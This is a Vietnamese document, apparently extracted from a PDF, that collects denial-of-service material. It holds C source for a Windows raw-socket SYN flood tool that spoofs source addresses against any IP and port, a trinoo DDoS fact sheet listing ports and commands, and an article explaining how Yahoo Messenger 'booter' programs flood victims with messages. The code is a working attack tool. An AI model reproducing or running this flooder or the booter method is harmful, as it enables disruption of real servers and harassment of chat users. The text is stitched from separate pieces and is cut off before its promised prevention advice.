Tại Việt Nam ta, hệ thống tin nhắn, chat, thư điện tử của Yahoo trở lên rất phổ biến cũng bởi hệ thống này đăng kí không khó, miễn phí nhiều chức năng.. Có người thì sợ bị boot đến treo
Trang 1{
int portNum=0;
DWORD dw;
HANDLE hThread=NULL;
char putInfo;
if(argc!=3)
{
printf("%s\n",right);
printf("Invalid command,Pls use:\n%s <IP> <port>\nExample:%s 192.168.100.244 80",argv[0],argv[0]);
return 1;
}
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){
printf("WSAStartup failed: %d\n",ErrorCode);
return 2;
}
sockMain=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL, 0,WSA_FLAG_OVERLAPPED);
if(sockMain==INVALID_SOCKET)
{
printf("Socket failed: %d\n",WSAGetLastError());
return 3;
}
ErrorCode=setsockopt(sockMain,IPPROTO_IP,IP_HDRINCL,(char
*)&flag,sizeof(int));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt failed: %d\n",WSAGetLastError());
return 4;
}
ErrorCode=setsockopt(sockMain,SOL_SOCKET,SO_SNDTIMEO,(char*)
&TimeOut,sizeof(TimeOut));
if(ErrorCode==SOCKET_ERROR)
{
printf("Set sockopt time out failed: %d\n",WSAGetLastError()); return 5;
}
portNum=atoi(argv[2]);
Trang 2memset(&sockAddr,0,sizeof(sockAddr));
sockAddr.sin_family=AF_INET;
sockAddr.sin_addr.s_addr =inet_addr(argv[1]);
FakeIpNet=inet_addr(FAKE_IP);
FakeIpHost=ntohl(FakeIpNet);
ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1;
ipheader.frag_and_flags = 0;
ipheader.ttl = 128;
ipheader.proto = IPPROTO_TCP;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
ipheader.destIP = inet_addr(argv[1]);
tcpheader.th_dport=htons(portNum);
tcpheader.th_sport = htons(portNum);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_ack = 0;
tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);
tcpheader.th_flag = 2;
tcpheader.th_win = htons(16384);
tcpheader.th_urp = 0;
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
PSD_HEADER.daddr=ipheader.destIP;
PSD_HEADER.mbz=0;
PSD_HEADER.ptcl=IPPROTO_TCP;
PSD_HEADER.tcpl=htons(sizeof(tcpheader));
printf("%s\n",right);
hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)flood, 0,CREATE_SUSPENDED,&dw);
SetThreadPriority(hThread,THREAD_PRIORITY_HIGHEST);
ResumeThread(hThread);
printf("Warning[start] \nPress any key to stop!\n");
putInfo=getchar();
Trang 3TerminateThread(hThread,0);
WSACleanup();
printf("\nStopd \n");
return 0;
}
int flood()
{
while(1)
{
if(SendSEQ++==65536) SendSEQ=1;
if(activPort++==40010) activPort=1000;
ipheader.checksum =0;
ipheader.sourceIP = htonl(FakeIpHost+SendSEQ);
tcpheader.th_seq = htonl(SEQ+SendSEQ);
tcpheader.th_sport = htons(activPort);
tcpheader.th_sum = 0;
PSD_HEADER.saddr=ipheader.sourceIP;
memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER));
memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader));
tcpheader.th_sum=checksum((USHORT
*)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader));
memcpy(sendBuf,&ipheader,sizeof(ipheader));
memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4);
dataSize=sizeof(ipheader)+sizeof(tcpheader);
ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader));
ErrorCode=sendto(sockMain,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr));
if(ErrorCode==SOCKET_ERROR) {
printf("\nCan't connect this IP!Pls check it.\n");
ExitThread(1);
} // Sleep(1000);
Trang 4}
return 0;
}
cp_pwhacker(vniss)
trinoo
Attacks:
UDP flood
Communication:
27665/tcp from attacker to "master(s)"
27444/udp from "master(s)" to "daemons"
command l44adsl [arguments]
31335/udp from "daemons" to "master(s)"
Encryption:
Master encrypts daemon list using Blowfish
Master execution protected by crypt() encrypted password
Daemon commands protected by crypt() encrypted passwords
Priviledges:
Root not required (uses unpriviledged ports)
Forensics:
Master IP addresses visible (+)
Enough strings to recognize daemon/master easily (+)
Listening TCP/UDP ports can be seen with "lsof" (+)
Attacker session not encrypted (+)
"Root Kits" hide processes/files/directories (-)
Ethernet switches make monitoring TCP/UDP traffic difficult (-)
Đọc Thêm Nè:
http://staff.washington.edu/dittrich/misc/trinoo.analysis
Yahoo Booter và những tư duy trong đó :D
Chào toàn thể mọi người Ngày nay hệ thống tin nhắn trên mạng đã trở nên phổ biến Tại Việt Nam ta, hệ thống tin nhắn, chat, thư điện tử của Yahoo trở lên rất phổ biến cũng bởi hệ thống này đăng kí không khó, miễn phí nhiều chức năng Nhưng bên cạnh đó cũng xảy ra không ít phiền toái cho những người chat bởi
Trang 5những người sử dụng chương trình boot Có người thì sợ bị boot đến treo cả máy
Tôi viết bài này là để một số người hiểu được nguyên lí của chương trình boot yahoo và những biện pháp phòng tránh boot Với những người thích nghiên cứu về DoS thì theo tôi sau khi đọc xong bài này cũng cảm thấy có 1 tư duy thông minh trong chương trình boot yahoo
Bài này có lẽ rất có ích với mầy chị em xinh đẹp, mấy chị em có người yêu hay ghen
Đầu tiên hãy thử nghĩ về chương trình chat của yahoo Đặc điểm của nó là hễ có ai
đó nhắn tin cho bạn thì lập tức phía máy bạn bật lên một cửa sổ cùng với âm thanh vang lên Thông thường bao nhiêu người chat với bạn thì có bấy nhiêu cửa sổ hiện lên
Mỗi khi mở một cửa sổ theo nguyên lí làm việc của hệ điều hành thì nó phải cấp phát một vùng nhớ RAM để cho cửa sổ đó làm việc, thậm chí khi cửa sổ làm việc
có yêu cầu quá nhiều về bộ nhớ thì đến ổ cứng cũng tham gia vào việc cache (nhớ đệm) Mỗi khi mở một cửa sổ là một quá trình xử lí của cả hệ thống nói chung và của Vi xử lí (Chip) nói riêng
Do đặc điểm của chương trình chat yahoo thì hãy tưởng tượng có 100 người người
ta liền một lúc nhắn tin cho bạn, chat với bạn thì sao nhỉ Hệ điều hành sẽ mở 100 cửa sổ, lượng bộ nhớ RAM cần dùng lúc này sẽ tăng lên gấp 100 lần so với khi chat với một người, quá trình xử lí thông tin bị đột biến Hệ điều hành và vi xử lí bị rơi vào một quá trình xử lí tương đối nặng nhọc
Lợi dụng đặc điểm này mà chương trình boot hoạt động Người boot khi muốn boot một ai đó, thì người boot phải làm sao mà lập được 100 cái hay càng nhiều càng tốt Chương trình boot sẵn có 1 danh sách các máy chủ yahoo cho việc đăng nhập Chương trình boot tiến hành đăng nhập 100 nick trên vào các máy chủ đó
Và bây giờ là điền tên nạn nhân vào ô cần boot Bấm nút 1 cái, chương trình boot
tự động gửi các tin nhắn có nội dung rất lung tung đến nạn nhân, 100 cái cùng gửi liền Do đó nếu bạn bị boot thì có cái lạ là toàn nick có tên rất củ chuối gì gì đấy không ở trong list của mình Lượng tin nhắn của mỗi nick tham gia boot cũng tương đối ! Háy nhân nó lên với 100 và tính thử ra coi máy bạn đã phải chịu những
gì nào Kết quả thì sao nhỉ, toàn màn hình của bạn kín hết nick boot
Hình minh họa 1 yahoo booter: